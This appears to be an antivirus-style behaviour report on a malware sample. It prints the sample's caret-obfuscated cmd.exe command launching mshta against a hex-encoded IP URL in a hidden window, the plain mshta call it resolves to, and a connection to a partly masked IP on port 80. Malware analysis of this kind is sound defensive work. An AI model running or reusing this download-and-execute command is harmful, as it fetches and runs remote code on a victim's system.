Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c ms^h^ta ht^tp:/^/0x^b^907d60^7/fe^r/f^e4.h^tm^l
Network activity
Connects to
- '18#.7.214.7':80
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c ms^h^ta ht^tp:/^/0x^b^907d60^7/fe^r/f^e4.h^tm^l' (with hidden window)
Executes the following
- '<SYSTEM32>\mshta.exe' http://0x##07d607/fer/fe4.html
